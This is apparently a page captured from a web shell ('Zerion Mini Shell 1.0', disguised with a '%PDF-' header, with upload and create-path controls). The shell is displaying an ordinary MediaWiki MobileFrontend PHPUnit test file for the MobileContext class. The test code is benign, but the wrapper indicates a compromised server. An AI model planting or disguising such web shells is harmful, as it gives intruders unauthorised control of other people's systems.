%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/tests/phpunit/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/tests/phpunit/MobileContextTest.php

<?php

use MediaWiki\MediaWikiServices;

/**
 * @group MobileFrontend
 */
class MobileContextTest extends MediaWikiTestCase {
	/**
	 * PHP 5.3.2 introduces the ReflectionMethod::setAccessible() method to allow the invocation of
	 * protected and private methods directly through the Reflection API
	 *
	 * @param $name string
	 * @return ReflectionMethod
	 */
	protected static function getMethod( $name ) {
		$class = new ReflectionClass( 'MobileContext' );
		$method = $class->getMethod( $name );
		$method->setAccessible( true );

		return $method;
	}

	protected function tearDown() {
		parent::tearDown();

		MobileContext::resetInstanceForTesting();
	}

	/**
	 * @param string $url
	 * @param array $cookies
	 * @return MobileContext
	 */
	private function makeContext( $url = '/', $cookies = [] ) {
		$query = [];
		if ( $url ) {
			$params = wfParseUrl( wfExpandUrl( $url ) );
			if ( isset( $params['query'] ) ) {
				$query = wfCgiToArray( $params['query'] );
			}
		}

		$request = new FauxRequest( $query );
		$request->setRequestURL( $url );
		$request->setCookies( $cookies, '' );

		$context = new DerivativeContext( RequestContext::getMain() );
		$context->setRequest( $request );
		$context->setOutput( new OutputPage( $context ) );
		$instance = unserialize( 'O:13:"MobileContext":0:{}' );
		$instance->setContext( $context );
		return $instance;
	}

	/**
	 * @covers MobileContext::getMobileUrl
	 */
	public function testGetMobileUrl() {
		$this->setMwGlobals( [
			'wgMFMobileHeader' => 'X-Subdomain',
			'wgMobileUrlTemplate' => '%h0.m.%h1.%h2',
			'wgServer' => '//en.wikipedia.org',
		] );
		$invokes = 0;
		$context = $this->makeContext();
		$asserter = $this;
		$this->setMwGlobals( 'wgHooks',
			[ 'GetMobileUrl' => [ function ( &$string, $hookCtx ) use (
					$asserter,
					&$invokes,
					$context
				) {
					$asserter->assertEquals( $context, $hookCtx );
					$invokes++;
			} ]
		] );
		$context->getRequest()->setHeader( 'X-Subdomain', 'M' );
		$this->assertEquals(
			'http://en.m.wikipedia.org/wiki/Article',
			$context->getMobileUrl( 'http://en.wikipedia.org/wiki/Article' )
		);
		$this->assertEquals(
			'//en.m.wikipedia.org/wiki/Article',
			$context->getMobileUrl( '//en.wikipedia.org/wiki/Article' )
		);
		// test local Urls - task T107505
		$this->assertEquals(
			'http://en.m.wikipedia.org/wiki/Article',
			$context->getMobileUrl( '/wiki/Article' )
		);
		$this->assertEquals( 3, $invokes, 'Ensure that hook got the right context' );
	}

	/**
	 * @covers MobileContext::parseMobileUrlTemplate
	 */
	public function testParseMobileUrlTemplate() {
		$this->setMwGlobals( 'wgMobileUrlTemplate', '%h0.m.%h1.%h2/path/morepath' );
		$context = $this->makeContext();
		$this->assertEquals(
			'%h0.m.%h1.%h2',
			$context->parseMobileUrlTemplate( 'host' )
		);
		$this->assertEquals(
			'/path/morepath',
			$context->parseMobileUrlTemplate( 'path' )
		);
		$this->assertEquals(
			[ 'host' => '%h0.m.%h1.%h2', 'path' => '/path/morepath' ],
			$context->parseMobileUrlTemplate()
		);
	}

	/**
	 * @dataProvider updateMobileUrlHostProvider
	 * @covers MobileContext::updateMobileUrlHost
	 */
	public function testUpdateMobileUrlHost( $url, $expected, $urlTemplate ) {
		$updateMobileUrlHost = self::getMethod( "updateMobileUrlHost" );
		$this->setMwGlobals( 'wgMobileUrlTemplate', $urlTemplate );
		$parsedUrl = wfParseUrl( $url );
		$updateMobileUrlHost->invokeArgs( $this->makeContext(), [ &$parsedUrl ] );
		$this->assertEquals( $expected, wfAssembleUrl( $parsedUrl ) );
	}

	public function updateMobileUrlHostProvider() {
		return [
			[
				'http://en.wikipedia.org/wiki/Gustavus_Airport',
				'http://en.m.wikipedia.org/wiki/Gustavus_Airport',
				'%h0.m.%h1.%h2',
			],
			[
				'https://127.0.0.1/wiki/Test',
				'https://127.0.0.1/wiki/Test',
				'%h0.m.%h1.%h2',
			],
		];
	}

	/**
	 * @covers MobileContext::usingMobileDomain
	 */
	public function testUsingMobileDomain() {
		$this->setMwGlobals( [
			'wgMFMobileHeader' => 'X-Subdomain',
			'wgMobileUrlTemplate' => '%h0.m.%h1.%h2',
		] );
		$context = $this->makeContext();
		$this->assertFalse( $context->usingMobileDomain() );
		$context->getRequest()->setHeader( 'X-Subdomain', 'M' );
		$this->assertTrue( $context->usingMobileDomain() );
	}

	/**
	 * @dataProvider updateDesktopUrlQueryProvider
	 * @covers MobileContext::updateDesktopUrlQuery
	 */
	public function testUpdateDesktopUrlQuery( $mobile, $desktop ) {
		$updateDesktopUrlQuery = self::getMethod( "updateDesktopUrlQuery" );
		$parsedUrl = wfParseUrl( $mobile );
		$updateDesktopUrlQuery->invokeArgs( $this->makeContext(), [ &$parsedUrl ] );
		$url = wfAssembleUrl( $parsedUrl );
		$this->assertEquals( $desktop, $url );
	}

	public function updateDesktopUrlQueryProvider() {
		$baseUrl = 'http://en.m.wikipedia.org/wiki/Gustavus_Airport';

		return [
			[
				$baseUrl . '?useformat=mobile&mobileaction=toggle_desktop_view',
				$baseUrl . '?mobileaction=toggle_desktop_view'
			],
		];
	}

	/**
	 * @dataProvider updateDesktopUrlHostProvider
	 * @covers MobileContext::updateDesktopUrlHost
	 */
	public function testUpdateDesktopUrlHost( $mobile, $desktop, $server ) {
		$updateMobileUrlHost = self::getMethod( "updateDesktopUrlHost" );
		$this->setMwGlobals( [
			'wgServer' => $server,
			'wgMobileUrlTemplate' => '%h0.m.%h1.%h2',
		] );
		$parsedUrl = wfParseUrl( $mobile );
		$updateMobileUrlHost->invokeArgs(
			$this->makeContext(),
			[ &$parsedUrl ] );
		$this->assertEquals( $desktop, wfAssembleUrl( $parsedUrl ) );
	}

	public function updateDesktopUrlHostProvider() {
		return [
			[
				'http://bm.m.wikipedia.org/wiki/' . urlencode( 'Nyɛ_fɔlɔ' ),
				'http://bm.wikipedia.org/wiki/' . urlencode( 'Nyɛ_fɔlɔ' ),
				'//bm.wikipedia.org',
			],
			[
				'http://en.m.wikipedia.org/wiki/Gustavus_Airport',
				'http://en.wikipedia.org/wiki/Gustavus_Airport',
				'//en.wikipedia.org',
			],
		];
	}

	/**
	 * @covers MobileContext::updateMobileUrlPath
	 */
	public function testUpdateMobileUrlPath() {
		$this->setMwGlobals( [
			'wgScriptPath' => '/wiki',
			'wgMobileUrlTemplate' => "/mobile/%p",
		] );
		$updateMobileUrlHost = self::getMethod( "updateMobileUrlPath" );

		// check for constructing a templated URL
		$parsedUrl = wfParseUrl( "http://en.wikipedia.org/wiki/Gustavus_Airport" );
		$updateMobileUrlHost->invokeArgs( $this->makeContext(), [ &$parsedUrl ] );
		$this->assertEquals(
			"http://en.wikipedia.org/wiki/mobile/Gustavus_Airport",
			wfAssembleUrl( $parsedUrl )
		);

		// check for maintaining an already templated URL
		$parsedUrl = wfParseUrl( "http://en.wikipedia.org/wiki/mobile/Gustavus_Airport" );
		$updateMobileUrlHost->invokeArgs( $this->makeContext(), [ &$parsedUrl ] );
		$this->assertEquals(
			"http://en.wikipedia.org/wiki/mobile/Gustavus_Airport",
			wfAssembleUrl( $parsedUrl )
		);
	}

	/**
	 * A null title shouldn't result in a fatal exception - bug T142914
	 * @covers MobileContext::shouldDisplayMobileView
	 * @covers MobileContext::setUseFormat
	 */
	public function testRedirectMobileEnabledPages() {
		$this->setMwGlobals( [
			'wgTitle' => null,
		] );
		$mobileContext = $this->makeContext();
		$mobileContext->getRequest()->setVal( 'action', 'history' );
		$mobileContext->setUseFormat( 'mobile' );

		$this->assertTrue( $mobileContext->shouldDisplayMobileView() );
	}

	/**
	 * @dataProvider getMobileActionProvider
	 * @covers MobileContext::getMobileAction
	 */
	public function testGetMobileAction( $mobileaction = null ) {
		$context = $this->makeContext();
		if ( is_null( $mobileaction ) ) {
			$assert = '';
		} else {
			$context->getRequest()->setVal( 'mobileaction', $mobileaction );
			$assert = $mobileaction;
		}

		$this->assertEquals( $assert, $context->getMobileAction() );
	}

	public function getMobileActionProvider() {
		return [
			[ null ],
			[ 'view_normal_site' ],
		];
	}

	/**
	 * @dataProvider getUseFormatProvider
	 * @covers MobileContext::getUseFormat
	 */
	public function testGetUseFormat( $explicit, $requestParam, $expected ) {
		$context = $this->makeContext();
		$context->getRequest()->setVal( 'useformat', $requestParam );
		$context->setUseFormat( $explicit );
		$this->assertEquals( $expected, $context->getUseFormat() );
	}

	public function getUseFormatProvider() {
		return [
			[ 'mobile', null, 'mobile' ],
			[ null, 'mobile', 'mobile' ],
			[ null, null, '' ],
			[ 'desktop', 'mobile', 'desktop' ],
		];
	}

	/**
	 * @covers MobileContext::getUseFormatCookieExpiry
	 */
	public function testGetUseFormatCookieExpiry() {
		global $wgCookieExpiration;
		$getUseFormatCookieExpiry = self::getMethod( 'getUseFormatCookieExpiry' );

		$context = $this->makeContext();
		$startTime = time();
		$this->setMwGlobals( 'wgMobileFrontendFormatCookieExpiry', 60 );
		$mfCookieExpected = $startTime + 60;
		$this->assertTrue(
			$mfCookieExpected == $getUseFormatCookieExpiry->invokeArgs(
				$context,
				[ $startTime ]
			),
			'Using MobileFrontend expiry.'
		);

		$this->setMwGlobals( 'wgMobileFrontendFormatCookieExpiry', null );
		$defaultMWCookieExpected = $startTime + $wgCookieExpiration;
		$this->assertTrue(
			$defaultMWCookieExpected == $getUseFormatCookieExpiry->invokeArgs(
				$context,
				[ $startTime ]
			),
			'Using default MediaWiki cookie expiry.'
		);
	}

	/**
	 * @covers MobileContext::getStopMobileRedirectCookieDomain
	 */
	public function testGetStopMobileRedirectCookieDomain() {
		$context = $this->makeContext();
		$this->setMwGlobals( [
			'wgMFStopRedirectCookieHost' => null,
			'wgServer' => 'http://en.wikipedia.org',
		] );
		$this->assertEquals( $context->getStopMobileRedirectCookieDomain(), '.wikipedia.org' );
		$this->setMwGlobals( 'wgMFStopRedirectCookieHost', 'foo.bar.baz' );
		$this->assertEquals( $context->getStopMobileRedirectCookieDomain(), 'foo.bar.baz' );
	}

	/**
	 * @covers MobileContext::isLocalUrl
	 */
	public function testIsLocalUrl() {
		global $wgServer;
		$context = $this->makeContext();
		$this->assertTrue( $context->isLocalUrl( $wgServer ) );
		$this->assertFalse( $context->isLocalUrl( 'http://www.google.com' ) );
	}

	/**
	 * @dataProvider addAnalyticsLogItemProvider
	 * @covers MobileContext::getAnalyticsLogItems
	 */
	public function testAddAnalyticsLogItem( $key, $val ) {
		$context = $this->makeContext();
		$context->addAnalyticsLogItem( $key, $val );
		$logItems = $context->getAnalyticsLogItems();
		$trimmedKey = trim( $key );
		$trimmedVal = trim( $val );
		$this->assertTrue( isset( $logItems[$trimmedKey] ) );
		$this->assertEquals( $logItems[$trimmedKey], $trimmedVal );
	}

	public function addAnalyticsLogItemProvider() {
		return [
			[ 'mf-m', 'a' ],
			[ ' mf-m', 'b ' ],
		];
	}

	/**
	 * @dataProvider getXAnalyticsHeaderProvider
	 * @covers MobileContext::getXAnalyticsHeader
	 */
	public function testGetXAnalyticsHeader( $existingHeader, $logItems, $expectedHeader ) {
		$context = $this->makeContext();
		foreach ( $logItems as $key => $val ) {
			$context->addAnalyticsLogItem( $key, $val );
		}
		if ( $existingHeader ) {
			$context->getRequest()->response()->header( 'X-Analytics: ' . $existingHeader, true );
		}
		$this->assertEquals( $context->getXAnalyticsHeader(), $expectedHeader );
	}

	public function getXAnalyticsHeaderProvider() {
		return [
			[
				null,
				[ 'mf-m' => 'a', 'zero' => '502-13' ],
				'X-Analytics: mf-m=a;zero=502-13',
			],
			// check key/val trimming
			[
				null,
				[ '  foo' => '  bar  ', 'baz' => ' blat ' ],
				'X-Analytics: foo=bar;baz=blat'
			],
			// check urlencoding key/val pairs
			[
				null,
				[ 'foo' => 'bar baz', 'blat' => '$blammo' ],
				'X-Analytics: foo=bar+baz;blat=%24blammo'
			],
			// check handling of existing header value
			[
				'existing=value; another=item',
				[ 'mf-m' => 'a', 'zero' => '502-13' ],
				'X-Analytics: existing=value;another=item;mf-m=a;zero=502-13',
			],
		];
	}

	/**
	 * @dataProvider addAnalyticsLogItemFromXAnalyticsProvider
	 * @covers MobileContext::addAnalyticsLogItemFromXanalytics
	 */
	public function testAddAnalyticsLogItemFromXAnalytics( $analyticsItem, $key, $val ) {
		$context = $this->makeContext();
		$context->addAnalyticsLogItemFromXanalytics( $analyticsItem );
		$logItems = $context->getAnalyticsLogItems();
		$this->assertTrue( isset( $logItems[$key] ) );
		$this->assertEquals( $logItems[$key], $val );
	}

	public function addAnalyticsLogItemFromXAnalyticsProvider() {
		return [
			[ 'mf-m=a', 'mf-m', 'a' ],
			// check key/val trimming
			[ ' mf-m=a ', 'mf-m', 'a' ],
			// check urldecode
			[ 'foo=bar+%24blat', 'foo', 'bar $blat' ],
		];
	}

	/**
	 * @dataProvider getMobileHostTokenProvider
	 * @covers MobileContext::getMobileHostToken
	 */
	public function testGetMobileHostToken( $domainTemplate, $result ) {
		$context = $this->makeContext();
		$this->assertEquals( $context->getMobileHostToken( $domainTemplate ), $result );
	}

	public function getMobileHostTokenProvider() {
		return [
			[ '%h1.m.%h2.%h3', 'm.' ],
			[ '', '' ],
			[ 'bananas.%h2.%h3', 'bananas.' ],
		];
	}

	/**
	 * @dataProvider optInProvider
	 * @covers MobileContext::isBetaGroupMember
	 */
	public function testOptIn( array $cookies, $isBeta, $enabledInSettings ) {
		$this->setMwGlobals( 'wgMFEnableBeta', $enabledInSettings );
		$mobileContext = $this->makeContext( '/', $cookies );
		$this->assertEquals( $isBeta, $mobileContext->isBetaGroupMember() );
	}

	public function optInProvider() {
		return [
			[ [], false, true ],
			[ [ MobileContext::OPTIN_COOKIE_NAME => MobileContext::MODE_BETA ], true, true ],
			[ [ MobileContext::OPTIN_COOKIE_NAME => 'foobar' ], false, true ],
			[ [], false, false ],
			[ [ MobileContext::OPTIN_COOKIE_NAME => MobileContext::MODE_BETA ], false, false ],
			[ [ MobileContext::OPTIN_COOKIE_NAME => 'foobar' ], false, false ],
		];
	}

	/**
	 * @dataProvider provideToggleView
	 * @covers MobileContext::checkToggleView
	 * @covers MobileContext::doToggling
	 */
	public function testToggleView( $page, $url, $urlTemplate, $expectedLocation ) {
		$this->setMwGlobals( [
			'wgMobileUrlTemplate' => $urlTemplate,
			'wgServer' => '//en.wikipedia.org',
			// 'wgArticlePath' => '/wiki/$1',
			'wgScriptPath' => '/wiki',
		] );
		$context = $this->makeContext( $url );
		$context->getContext()->setTitle( Title::newFromText( $page ) );
		$context->checkToggleView();
		$context->doToggling();
		$location = $context->getOutput()->getRedirect();
		$this->assertEquals( $expectedLocation, $location );
	}

	public function provideToggleView() {
		$token = '%h0.m.%h1.%h2';
		return [
			[ 'Foo', '/', '', '' ],
			[ 'Foo', '/', $token, '' ],
			[ 'Main Page', '/wiki/Main_Page', '', '' ],
			[ 'Main Page', '/wiki/Main_Page', $token, '' ],
			[ 'Main Page', '/wiki/Main_Page?useformat=mobile', '', '' ],
			[ 'Main Page', '/wiki/Main_Page?useformat=mobile', $token, '' ],
			[ 'Main Page', '/wiki/Main_Page?useformat=desktop', '', '' ],
			[ 'Main Page', '/wiki/Main_Page?useformat=desktop', $token, '' ],
			[ 'Foo', '/?mobileaction=toggle_view_desktop', '', '' ],
			[ 'Foo', '/?mobileaction=toggle_view_mobile', '', '' ],
			[ 'Page', '/wiki/Page?mobileaction=toggle_view_desktop',
				'', ''
			],
			/*
			FIXME: works locally but fails in Jerkins
			array( 'Main Page', '/?mobileaction=toggle_view_desktop',
				$token, 'http://en.wikipedia.org/wiki/Main_Page'
			),
			array( 'Main Page', '/?mobileaction=toggle_view_mobile',
				$token, 'http://en.m.wikipedia.org/wiki/Main_Page'
			),
			array( 'Page', '/wiki/Page?mobileaction=toggle_view_mobile',
				$token, 'http://en.m.wikipedia.org/wiki/Page'
			),
			array( 'Page', '/wiki/Page?mobileaction=toggle_view_desktop',
				$token, 'http://en.wikipedia.org/wiki/Page'
			),
			array( 'Special:Foo',
				'/wiki/index.php?title=Special:Foo&bar=baz&mobileaction=toggle_view_desktop',
				$token, 'http://en.wikipedia.org/w/index.php?title=Special:Foo&bar=baz'
			),
			array( 'Special:Foo',
				'/wiki/index.php?title=Special%3AFoo&bar=baz&mobileaction=toggle_view_mobile',
				$token, 'http://en.m.wikipedia.org/w/index.php?title=Special:Foo&bar=baz'
			),
			array( 'Page', '/wiki/index.php?title=Page&mobileaction=toggle_view_desktop',
				$token, 'http://en.wikipedia.org/wiki/Page',
			),
			array( 'Page', '/wiki/index.php?title=Page&mobileaction=toggle_view_mobile',
				$token, 'http://en.m.wikipedia.org/wiki/Page',
			),
			*/
		];
	}

	/**
	 * @codeCoverageIgnore
	 * @coversNothing
	 */
	public function testBug71329() {
		$services = MediaWikiServices::getInstance();
		$services->resetServiceForTesting( 'SpecialPageFactory' );
		RequestContext::resetMain();
		$req = new FauxRequest(
			[ 'title' => 'Special:Search', 'mobileaction' => 'toggle_view_mobile' ]
		);
		$req->setRequestURL( '/w/index.php?title=Special:Search&mobileaction=toggle_view_mobile' );
		RequestContext::getMain()->setRequest( $req );
		MobileContext::resetInstanceForTesting();
		$this->setMwGlobals( 'wgTitle', null );
		SpecialPage::getTitleFor( 'Search' );
		$this->assertTrue( true, 'In case of failure this test just crashes' );
	}

	/**
	 * @dataProvider provideShouldStripResponsiveImages
	 * @covers MobileContext::shouldStripResponsiveImages
	 * @covers MobileContext::setForceMobileView
	 */
	public function testShouldStripResponsiveImages(
		$expected,
		$forceMobileView,
		$wgMFStripResponsiveImages,
		$stripResponsiveImages = null
	) {
		$context = MobileContext::singleton();
		$context->setForceMobileView( $forceMobileView );

		$this->setMwGlobals(
			'wgMFStripResponsiveImages',
			$wgMFStripResponsiveImages
		);

		$context->setStripResponsiveImages( $stripResponsiveImages );

		$this->assertEquals( $expected, $context->shouldStripResponsiveImages() );
	}

	public static function provideShouldStripResponsiveImages() {
		return [
			[ true, true, true ],
			[ false, true, false ],
			[ false, false, true ],
			[ false, true, true, false ],
		];
	}
}

Zerion Mini Shell 1.0